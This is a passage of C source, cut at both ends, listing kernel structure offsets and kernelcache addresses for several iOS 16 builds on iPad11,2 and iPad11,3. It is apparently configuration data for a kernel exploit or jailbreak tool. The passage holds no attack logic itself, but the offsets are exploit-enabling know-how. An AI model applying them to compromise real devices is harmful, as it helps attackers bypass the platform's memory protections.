0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2e9208,\n          .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a327500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n          .kernelcache__ptov_table = 0xfffffff0078a7160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n          .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n      },\n\n      // iOS 16.5\n          {\n          .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20F66\",\n          .device_id = \"iPad11,2\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2f1288,\n          .kernelcache__gPhysBase = 0xfffffff0078f80e0,\n          .kernelcache__gPhysSize = 0xfffffff0078f80e0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f62b8,\n          .kernelcache__perfmon_devices = 0xfffffff00a32f500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea9c8c,\n          .kernelcache__ptov_table = 0xfffffff0078ab160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a32e990,\n          .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a32e988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef8ad8,\n      },\n\n      // iOS 16.6b1\n          {\n          .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n          .build_version = \"20G5026e\",\n          .device_id = \"iPad11,2\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a23dab0,\n          .kernelcache__gPhysBase = 0xfffffff0078dc288,\n          .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078da440,\n          .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n          .kernelcache__ptov_table = 0xfffffff00788f9a0,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n          .kernelcache__vm_pages = 0xfffffff00788c0f8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n          .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n      },\n\n\n  // iPad Air 3 Wifi //\n  // iOS 16.2\n      {\n          .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20C65\",\n          .device_id = \"iPad11,3\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a225178,\n          .kernelcache__gPhysBase = 0xfffffff00781bc60,\n          .kernelcache__gPhysSize = 0xfffffff00781bc60 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819e40,\n          .kernelcache__perfmon_devices = 0xfffffff00a260380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e873ac,\n          .kernelcache__ptov_table = 0xfffffff0077cf248,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a25f800,\n          .kernelcache__vm_pages = 0xfffffff0077cc080,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce208,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a25f7f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007ed9a44,\n      },\n\n      // iOS 16.3\n          {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D47\",\n          .device_id = \"iPad11,3\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a22d178,\n          .kernelcache__gPhysBase = 0xfffffff00781bd48,\n          .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a268380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n          .kernelcache__ptov_table = 0xfffffff0077cf288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n          .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n      },\n\n      // iOS 16.3.1\n              {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D67\",\n          .device_id = \"iPad11,3\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a22d178,\n          .kernelcache__gPhysBase = 0xfffffff00781bd48,\n          .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a268380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n          .kernelcache__ptov_table = 0xfffffff0077cf288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n          .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n      },\n\n      // iOS 16.4\n          {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E246\",\n          .device_id = \"iPad11,3\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2e9208,\n          .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a327500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n          .kernelcache__ptov_table = 0xfffffff0078a7160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n          .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n      },\n\n      // iOS 16.4.1\n              {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E252\",\n          .device_id = \"iPad11,3\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2e9208,\n          .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a327500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n          .kernelcache__ptov_table = 0xfffffff0078a7160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n          .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n      },\n\n      // iOS 16.5\n          {\n          .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20F66\",\n          .device_id = \"iPad11,3\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          